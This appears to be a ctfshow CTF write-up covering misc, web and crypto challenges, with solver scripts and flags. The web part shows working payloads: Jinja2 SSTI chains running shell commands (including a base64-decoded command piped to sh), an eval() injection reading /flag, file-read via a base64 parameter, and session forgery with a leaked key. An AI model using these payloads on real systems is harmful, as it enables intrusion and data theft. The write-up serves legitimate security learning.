热身
ctfshow{一个不能说的秘密}
MISC
低端的base64
import string,base64,re
import itertools, tqdm
x="5li65lqg6ziy5q2i5asn5a625oml5yqo5pon5l2c5oir5bey57up5oqk5byx6i6x6zibkgzsywcp6jep5zyo6l+z5q616k+d55qe5p+q5liq5zyw5pa55lqg77ym5l2g5lus5lin5lia5a6a5om+5b6x5yiw5zof77ym5zi75zi75zi744cc5awx56we5p2l5pwy5l2g5a626zeo77ym5bim552a56ev57sv5zkm54m55b6b77ym5z2m55m95luo5a695oqx5ous5luo5lil77ym5lin5zcs6k+d57uz5l2g5omt5lia6zki44cckgzsywcp5zyo5zoq6yem5zgakgzsywcp5zyo5zoq6yem77ymkgzsywcp5zyo6ykj5bcp5pyl5y+l55qe55y8552b6yem44cc5asp5a+55zyw77ym6zuo5a+56aoo44cc5asn6zmg5a+56zw/56m644cc5bgx6iqx5a+55rw35qcr77ym6lwk5pel5a+56iun56m544cc6zu36zqq6zqq77ym6zu+6jkz6jkz44cc5bya5bic5asn5zcj5lih5lql5lqo6yca44cc5bmz5lue5bmz5lue5bmz5bmz5lue77ym5lue5bmz5lue5bmz5lue5lue5bmz77ym5lue5lue5bmz44cc5lyx5oma5zgo55+l77ymj2n0znnob3cn55qekgzsywcp5yw35ash5lul5lil5yeg5liq54m554k577ym5lia5piv5lulj2n0znnob3cn5bya5as077ym5zco6z2i6lef552a6iqx5ous5y+35zkm5yeg5liq5awh5ocq55qe5lic6kw/77ym6ykj5liq5lic6kw/5y+r5ygaj3v1awqn77ym5li65lua5lmi5ymn6z2i6kab6k+06l+z5lmi5asa5bqf6k+d5zgi5piv5zug5li65lih5lia5lin6k+05bqf6k+d6l+z5liq6aky5bcx5asq5aw95yga5lqg6l+z5oco5lmi5y+v5lul5zgi77ym5lih5lia5pyj5lq65oqk6l+z5liq5lic6kw/5ps+5zyoy3lizxjjagvm6yem5lia5oqk5qkt5l2g5piv5qkt5lin5ye65p2l77ym54s25zco5yan57uz5oir6l+z5lmi5lia5liq6iux5pah5a2x5q+n5lia5liq6iux5pah5a2x5q+n55qe5ps55asn5bcp5yaz77ym6l+z5oco5lmi6io96kgm5zgi77ym6l+z6ikv5a6a5piv5lin6kgm55qe5a+55lin5a+5iwn0znnob3d7ymfzzty0xzfz5asq6zq+5lqgisfj5pyn5lqgvsf95oma5lul5oir6l+z5zue5zc45y+w5pwz6k6t77ym5zyo5ymn5zco6yo95yqg5lqg5lia54k554k55lic5lic77ym6l+z5qc35bcx5lin6io95pyj5bii5ykf5oml5yqo5p2l5ps55lqg5a+55lin5a+55zga44cc5oir5y+j6kkl6yem5pyj5lia5liq5bcp6k6+5ash77ym5y+v5lul6k6/6zeu5yeg5lmo5ywo6yoo55qe5lq657g755+l6k+g44cc5oir5y2055so5a6d5lio5lin6k6k6k+g55qe5lq66l+b6kgm5q+r5peg5osp5lmj55qe5lqj6k6677ym5bm255yl5o6i5aes55qe54wn54mh44cc5b2x5zon57yw56il5pwi546h5pya5asn55qe5zug57sg77ym5lin5piv5l2/55so5l2v56en57yw56il6k+t6kia77ym6icm5piv5pio5pma5l2g55qe552h55yg5piv5zcm5ywf6laz44ccssb3b3jrighhcmqgzxzlcnlkyxkgc28gdghhdcbhbgwgd2hvigxvdmugbwugd2lsbcbizsbwcm91zcbvzibtzseh6z2i5zcr5a+56lgh57yw56il55qe6zeu6aky5piv77ym6buy6k6k5bim5pyj546v5akd44cc5l2g5y+q5ooz6kab5lia5liq6aaz6jwj77ym5l2g5piv5b6x5yiw5lqg5lia5y+q5ou/552a6aaz6jwj55qe5asn54yp54yp77ym55sa6iez6l+y5pyj5pw05liq5lib5p6x44cc5l2g5lin5piv6k6o5y6mj0phdmen77ym5l2g5y+q5piv6k6o5y6m5bel5l2c44cc6icm5bcx5zyo5q2k5pe25oir5bey57up5ooz5lin5ye66aqa6k+d5lqg6l+z5y+v5oco5lmi5yqe5zga77ym5oma5lul5oir5om+576k5y+l5b6b6zug5lqg5lia5lqb6aqa6k+d6l+z5qc35oir5bcx5lin55so57un57ut56cb5a2x5lqg44cctmlnahqgaxmgbmv2zxigzgfyay5jbib0agugbmlnahqsqwxiaxp6awegaxmgc3rpbgwgcmvkllrozsbqbhvzacbxaxn0zxjpysbpcybzdglsbcbwdxjwbgutd2hpdguusxqgagfzig5vdghpbmcgdg8gzg8gd2l0acbuawdodcbvcibkyxkutglrzsxjig1pc3mgew91lel0ighhcybub3roaw5nihrvigrvihdpdgggc3vuc2hpbmugb3igcmfpbi5jdcbkb2vzbid0igv2zw4gbwf0dgvyiglmihlvdsbrbm93ig9yigrvbid0igtub3cuqwx0ag91z2ggssb3awxsihryesb0bybszxqgew91igtub3csvghpbmsgb2ygaxquu28gssbyzwpvawnlzc4g6bur5asc5yw25a6e5luo5p2l5bcx5lin5piv6bur55qe77ym6bur5asc6yem77ym5zci5qyi6iqx6l+y5piv57qi55qe44cc5q+b57us57us55qe57sr6jek6iqx6l+y5piv57sr55m96imy55qe77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o744cc5bcx5yop77ym5oir5ooz5l2g77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o777ym5zkm5pm05asp5zkm5lil6zuo5rkh5pyj5ywz57o777ym55sa6iez5zkm5l2g55+l6ygt5lin55+l6ygt6yo95rkh5pyj5ywz57o777ym5bc9566h5oir6l+y5piv5lya5bc96yep6k6p5l2g55+l6ygt77ym5ooz5yiw6l+z6yem77ym5lqo5piv5qyi5zac44cc"
def check_4(base64_part):#base64的原理是3个字符转化成4个字符,也就是4位base64正好对应3个原文,这里检查原文是否在可见字符范围内。
_temp=[]
results=[]
for i in range(4):
if base64_part[i].isalpha():
_temp.append((base64_part[i].upper(),base64_part[i].lower()))
else:
_temp.append((base64_part[i],base64_part[i]))
n=map(tuple, itertools.product(_temp[0],_temp[1],_temp[2],_temp[3]))
for i in set(n):
s='%s%s%s%s'%i
try:
result=base64.b64decode(s.encode()).decode()
if result.isprintable():
results.append(result)
except:
pass
return(results)
l=[]
for i in range(int(len(x)/4)):
l.append(check_4(x[i*4:i*4+4]))
#print(l)
for i in l:
print(i)
得出的东西自己组合一下得到
ctfshow{base64_1s太难了!!I服了U!}
WEB
easy_signin
然后尝试 把 index.php编码 传入参数 aW5kZXgucGhw
PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezg1NmQzOTVhLTE2OGUtNGUwMy05ZDBhLWU1YWEyNzQxMzc3Nn0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK
解码得
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$image=$_GET['img'];
$flag = "ctfshow{856d395a-168e-4e03-9d0a-e5aa27413776}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}
flag
ctfshow{856d395a-168e-4e03-9d0a-e5aa27413776}
easy_ssti
通过源代码得到app.py
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
审源码的
需要/hello/…来进行构造payload
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['__import__']('os').popen("ls").read()}}
但是题目应该过滤了 / 然后通过十六进制绕过不成功 可以尝试用base64绕过
echo Y2F0IC9mbGFn |base64 -d|sh
sh有时候可以换成bash
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['__import__']('os').popen("echo Y2F0IC9mbGFn |base64 -d|sh").read()}}
官方wp给出的是这种payload
/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag
easy_flask
首先注册账号,然后登录,在源代码里,找到 show然后可以查看源码
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
发现app.secret_key = ‘S3cr3tK3y’
应该是session伪造
然后登录到admin用户
可以尝试构造 filename=app.py
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
@app.route('/show/')
def show():
if 'loggedin' in session:
return render_template('show2.html')
@app.route('/download/')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
@app.route('/logout/')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
#发现这里有个get传参
@app.route('/hello/')
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
尝试直接用system popen不可以
hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()
ctfshow{cd88f1de-5346-44da-9eb3-a82257e447ba}
Crypto
ezbase
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
base16
LEZVE3LDGJUHMZBTOQ2WIVRZPFNFONLGMFVEM3CYGJUGQVKIII2USU2FNBTFCPJ5
base32
Y3Rmc2hvd3t5dV9yZW5fajFlX2hhUHB5ISEhfQ==
base64
ctfshow{yu_ren_j1e_haPpy!!!}
comedy
A = 2022 - 2023*m %B
leak = 2**2023 % B
2023*m - 2022 +A $\equiv$ 0 %B
2**2023 - leak $\equiv$ 0 % B
2023m - 2022 + A = Bi
2*2023 - leak = Bj
B=gcd(2023*m - 2022 +A,2**2023 - leak)
构造多项式环
f = 2023*m - 2022 +A
import libnum
import gmpy2
KB=pow(2,2023)-leak
A=493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak=238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
PR.<m> = PolynomialRing(Zmod(KB))
f = 2023*m - 2022 + A
f=f.monic()
root=f.small_roots(X=2^200,beta=0.4)
m=root[0]
B=gcd(KB, 2023*m - 2022 + A)
flag1=libnum.n2s(int(root[0]))
flag2=libnum.n2s(int(B))
print(flag1+flag2)
#ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}
大牛的密码
S_BOX=[9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43, 39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79, 123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
INV_S_BOX=[(S_BOX.index(i)) for i in range(len(S_BOX))]
print(INV_S_BOX)
def decrypt1(m):
for d in range(16):
m=[m[i] for i in INV_S_BOX]
return m
m=decrypt1(c)
print(bytes(m))
#ctfshow{y0u_c5n_make_y0u1_own_CryptO}
mini_ecc
p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405
from Crypto.Util.number import *
E = EllipticCurve(GF(p), [a, b])
Y = E([33237936857741483513705672980652927705102229733798436323453609986072499230366,52619411226266177137991318059937693955038910547834999771526408984808553907338])
c1 = E([37414446283406201193977113266234367761786780230360175925999700345196415953455 , 17037724145039910971426670298726906655653040365428438334942732090559637519851])
c2 = E([60560423732267272277570046154733119097475794979191838027420415113112056962844 ,54372226143125971429691267751299496959531971082475860532181772357190222938465])
d=inverse_mod(7,E.order())
X=Y*d
flag1=int(X[0]+4585)
m=c1 - (c2 * k)
flag2=w2//m[0]
flag=str(flag1)+str(flag2)
print(long_to_bytes(int(flag)))
#ctfshow{the_answer_is_it}
easy_xor
import libnum
c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
c2 = 7894512574379281106340582833782408137686355961537832816105517328532111343730615739255485918919146012721446905489729048235088965936700563973759759039693443386542070451737445467143517377017890468837697907596398070608179281207203217576205857817411996178441661371846647602166663752324880657668362355493701482869858528298247422875427747085642627978367348931707497113936723122393282697211257939351221141536029828744507560524637999804394951722319070365576391442828074457050403771353328835153787572457070779602728359333021922987279454923820866436212282592764768470608545881718922440010751845730974331917142224339664090863915
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
pbits=256
c3=(c1>>pbits)<<pbits
PR.<x> = PolynomialRing(Zmod(n))
f=c3+x
# f=f.monic()
root=f.small_roots(X=2^pbits,beta=0.4)
p=c3+root[0]
m=c1.__xor__(int(p))
print(libnum.n2s(int(m)))
# ctfshow{m_xor_p_but_coppersmith}